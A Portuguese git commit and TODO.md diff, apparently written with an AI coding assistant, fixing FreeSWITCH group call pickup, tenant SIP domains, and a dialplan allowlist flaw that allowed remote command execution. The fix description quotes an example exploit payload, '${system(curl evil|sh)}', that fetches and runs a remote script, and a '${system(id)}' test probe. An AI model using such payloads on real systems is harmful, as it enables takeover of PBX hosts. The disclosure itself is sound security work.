fix(telefonia): pickup de grupo funcionando de verdade + RCE no dialplan + domínio real no REGISTER
Pedido explícito do usuário: "testa criando um ramal com callgroup e captura
chamada de outro ramal". O teste com softphones reais (não só leitura de
código) achou 3 problemas que a fase anterior tinha dado como resolvidos:
1. A variable de call group estava com o nome errado (`call-group`, convenção
do Asterisk) e a suposição de que o FreeSWITCH fazia pickup automático só
com ela era falsa. Corrigido pro nome certo (`callgroup`) e pro mecanismo
real (fork de leg `pickup/<grupo>` no bridge + extension `*8` chamando a
application `pickup`, lendo o grupo via `${user_data(...)}`).
2. Implementando o mecanismo acima, achada uma vulnerabilidade real de RCE: o
allowlist de `application` no dialplan nunca bloqueava `${system(...)}`
embutido dentro do `data` de qualquer application já permitida —
`mod_commands` está carregado, então isso era execução de comando
arbitrário no host do FreeSWITCH pra qualquer Tenant Admin. Corrigido com
um segundo allowlist (`ALLOWED_INLINE_API_FUNCTIONS` +
`IsSafeDialplanData`) que só libera funções de leitura seguras
(`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).
3. Registrar um softphone de verdade contra o domínio do tenant (não só curl
no mod_xml_curl) revelava 403 Forbidden: o sofia profile `internal` tinha
`force-register-domain`/`force-subscription-domain`/
`force-register-db-domain` fixados no domínio antigo, ignorando o domínio
de cada tenant. Corrigido no Dockerfile do FreeSWITCH (imagem
reconstruída, não só patch ao vivo).
Testado ponta a ponta com 3 softphones reais (linphone-cli) em containers na
mesma rede Docker: ramal do mesmo grupo captura de verdade uma ligação
tocando em outro ramal via *8 (canais confirmados bridged via `show
channels`); ramal de grupo diferente tenta e falha. RCE confirmado bloqueado
via curl (`${system(id)}` → 400) sem quebrar `${user_data(...)}` legítimo.
TODO.md (PHASE 53) e docs/EXTENSIONS.md atualizados corrigindo as afirmações
incompletas da fase anterior ("nenhuma mudança de infra necessária").
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
This commit is contained in:
112
TODO.md
112
TODO.md
@@ -1836,12 +1836,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
|
||||
só pelo domínio (`Tenant.findFirst({ telephonyDomain: domain })`),
|
||||
então com todo tenant no mesmo domínio o isolamento de PABX (ramais,
|
||||
call groups, filas, IVR) não tinha como funcionar de verdade.
|
||||
Investigado direto no container: o sofia profile `internal`
|
||||
(vanilla, nunca sobrescrito) já vem com
|
||||
`<domain name="all" alias="true" parse="false"/>` — o FreeSWITCH
|
||||
SEMPRE aceitou domínio dinâmico por REGISTER, o bug era só a
|
||||
aplicação gravando o mesmo valor pra todo mundo. Nenhuma mudança de
|
||||
infra (Dockerfile/sofia profile) foi necessária
|
||||
**Correção**: esta entrada originalmente dizia "nenhuma mudança de
|
||||
infra foi necessária", baseado só em testar o `mod_xml_curl` via
|
||||
curl direto (que funcionava). Isso era **incompleto** — só um teste
|
||||
de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou
|
||||
que o sofia profile `internal` TAMBÉM tinha `force-register-domain`
|
||||
fixo em `$${domain}`, ignorando o domínio do REGISTER e sempre
|
||||
resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer
|
||||
domínio real de tenant). Ver PHASE 53 pelo fix completo
|
||||
- [x] `Tenant.telephonyDomain` agora é obrigatório e `@unique` (migration
|
||||
`20260830140000_tenant_domain_and_call_group`, com backfill:
|
||||
tenants existentes ganharam `{code}.b2bcall.net` automaticamente,
|
||||
@@ -1852,10 +1854,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
|
||||
- [x] `Extension.callGroup` (novo, nullable) — grupo de captura (secao
|
||||
178): ramais no mesmo grupo podem atender a chamada um do outro
|
||||
(`*8`/group pickup), ramais fora do grupo não. Vira a variable
|
||||
`call-group` no directory XML (`packages/telephony`); a extensão de
|
||||
dialplan do `*8` em si é uma regra a configurar em Telefonia >
|
||||
Dialplan (já existe o editor), não precisava de código novo — só do
|
||||
dado. Editável na criação e depois (`PATCH /extensions/:id`, novo)
|
||||
`callgroup` no directory XML (**correção**: a versão inicial desta
|
||||
entrada dizia `call-group`, com hífen — nome errado, copiado de
|
||||
convenção do Asterisk; FreeSWITCH usa `callgroup` sem hífen, lido
|
||||
via `${user_data(<ext>@<domain> var callgroup)}`. A confusão de
|
||||
mecanismo — achando que a variable sozinha já fazia o pickup
|
||||
automático — também estava errada; ver PHASE 53 pelo mecanismo real
|
||||
e o dialplan necessário). Editável na criação e depois
|
||||
(`PATCH /extensions/:id`, novo)
|
||||
- [x] `POST /extensions/:id/reveal-password` (novo) — achado real: "show
|
||||
once" puro não funciona no dia a dia de um PABX (reconfigurar um
|
||||
telefone físico ou softphone precisa da senha de novo; forçar reset
|
||||
@@ -1877,6 +1883,92 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
|
||||
ramal em domínios diferentes NUNCA se confunde (isolamento
|
||||
cross-tenant confirmado de verdade, não só por leitura de código)
|
||||
|
||||
## PHASE 53 — Teste real de captura de chamada (pedido explícito do
|
||||
usuário: "testa criando um ramal com callgroup e captura chamada de outro
|
||||
ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como
|
||||
resolvidos sem nunca registrar um SIP de verdade
|
||||
- [x] **achado real #1 (crítico, segurança)**, achado pesquisando o
|
||||
mecanismo certo de pickup antes de implementar o dialplan: o
|
||||
allowlist de `application` (`ALLOWED_DIALPLAN_APPLICATIONS`) nunca
|
||||
bloqueava `${nome(args)}` (chamada de API do FreeSWITCH) embutida
|
||||
dentro do `data` de uma application já permitida como `set`/
|
||||
`export`/`playback`. FreeSWITCH expande isso em tempo de chamada, e
|
||||
`mod_commands` (carregado nesta implantação) registra as APIs
|
||||
`system`/`bg_system` — **RCE completo no host do FreeSWITCH**,
|
||||
alcançável por qualquer Tenant Admin com `freeswitch.configure`
|
||||
(ex.: `{"application":"set","data":"x=${system(curl evil|sh)}"}`).
|
||||
Corrigido: `ALLOWED_INLINE_API_FUNCTIONS` (novo,
|
||||
`packages/telephony/src/dialplan-xml.ts`) +
|
||||
`findDisallowedInlineFunctionCalls()` + `IsSafeDialplanData` (novo,
|
||||
`apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts`,
|
||||
aplicado em `ActionDto.data`) bloqueiam qualquer `${nome(...)}` fora
|
||||
de um allowlist de leitura (`user_data`, `escape`, `url_encode`,
|
||||
`url_decode`, `regex`, `strftime`) — `${variavel}` sem parênteses
|
||||
nunca é bloqueado. Testado via curl: `${system(id)}` → 400 claro;
|
||||
`${user_data(...)}` (usado pelo pickup) → aceito normalmente
|
||||
- [x] **achado real #2 (o mecanismo de pickup em si estava errado)**:
|
||||
pesquisado contra a documentação oficial do FreeSWITCH antes de
|
||||
escrever qualquer dialplan — a variable `callgroup` sozinha NÃO faz
|
||||
pickup automático nenhum. O mecanismo de verdade: (1) o `bridge`
|
||||
que atende a ligação pro ramal precisa forkar um leg extra
|
||||
`pickup/<chave>` (registra a chamada num hash em memória, chave =
|
||||
grupo), usando
|
||||
`${user_data(${destination_number}@${domain_name} var callgroup)}`
|
||||
pra descobrir o grupo do CALLADO; (2) uma extension de feature code
|
||||
(`*8`) separada chama a application `pickup` (nova no allowlist)
|
||||
com o grupo do PRÓPRIO CALLADOR, via
|
||||
`${user_data(${caller_id_number}@${domain_name} var callgroup)}`.
|
||||
Reescrita a regra "Discagem interna" do tenant Acme (a versão
|
||||
anterior nem tinha `user/`/`@domain` corretos no `bridge` — nunca
|
||||
teria funcionado numa chamada real) e criada a nova regra `*8`
|
||||
"Capturar chamada do grupo"
|
||||
- [x] **achado real #3 (infra, não só aplicação)**: registrando um
|
||||
softphone de teste de verdade contra `acme.b2bcall.net`, o REGISTER
|
||||
batia 403 Forbidden mesmo com tudo certo na aplicação — o profile
|
||||
`internal` vanilla tem `force-register-domain`/
|
||||
`force-subscription-domain`/`force-register-db-domain` fixados em
|
||||
`$${domain}` ("b2bcall.local"), ignorando completamente o domínio
|
||||
do REGISTER (`<domain name="all" alias="true".../>`, também
|
||||
vanilla, só afeta contexto de dialplan, não esta checagem). Isso
|
||||
**contradiz a PHASE 52**, que tinha concluído — só com teste via
|
||||
curl direto no `mod_xml_curl`, sem nunca registrar um SIP de
|
||||
verdade — que nenhuma mudança de infra seria necessária. Corrigido
|
||||
no `infrastructure/freeswitch/Dockerfile` com mais um `sed` (mesmo
|
||||
padrão do `$${domain}` já existente) removendo os 3 params —
|
||||
procedimento padrão documentado do próprio FreeSWITCH pra
|
||||
multi-domínio. Imagem reconstruída e o container recriado (não só
|
||||
patch ao vivo) — testado de novo do zero pra confirmar que o fix
|
||||
sobrevive a rebuild
|
||||
- [x] **Teste real ponta a ponta, com SIP de verdade** (não só leitura de
|
||||
XML): instalado `linphone-cli` (softphone de console) em
|
||||
containers Docker descartáveis na mesma rede (`b2bcall_default`) —
|
||||
as portas SIP não são publicadas no host de propósito (secao 184),
|
||||
então um softphone real só alcança o FreeSWITCH de dentro da rede
|
||||
Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no
|
||||
grupo "suporte" (2004), todos registrados de verdade
|
||||
(`show registrations` no FreeSWITCH confirma). Cenário: 2002 liga
|
||||
pra 2001 (toca, registra o `pickup/vendas`) → 2003 (mesmo grupo)
|
||||
disca `*8` → **capturado de verdade**: `show channels` confirma
|
||||
2002 e 2003 bridged no mesmo `call_uuid`, `callstate ACTIVE`, codec
|
||||
negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a
|
||||
ligação foi roubada antes dele atender). Teste negativo: 2004
|
||||
(grupo "suporte") tenta `*8` na mesma ligação → falha (nenhum canal
|
||||
capturado, 2001 continua tocando) — confirma que grupos são
|
||||
isolados de verdade, não só "qualquer um captura qualquer coisa"
|
||||
- [x] achado operacional, sem relação com telefonia: o disco da VM
|
||||
chegou a **100% de uso (13MB livres)** no meio deste teste — os
|
||||
múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB
|
||||
em cache do BuildKit nunca limpo (`docker builder du` confirmou).
|
||||
Risco real pro ambiente inteiro (Postgres podia falhar escrita de
|
||||
WAL a qualquer momento). Corrigido com `docker image prune -a -f` +
|
||||
`docker builder prune -a -f` (reversível — só cache de build,
|
||||
nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso.
|
||||
Vale rodar de novo se o disco apertar depois de mais rebuilds
|
||||
- [x] Containers/ramais/tenant de teste (2001-2004, `testedomain1`)
|
||||
removidos ao final; as 2 regras de dialplan reais do tenant Acme
|
||||
(Discagem interna corrigida + `*8`) foram mantidas — são
|
||||
configuração funcional de verdade, não lixo de teste
|
||||
|
||||
---
|
||||
|
||||
## Riscos conhecidos
|
||||
|
||||
Reference in New Issue
Block a user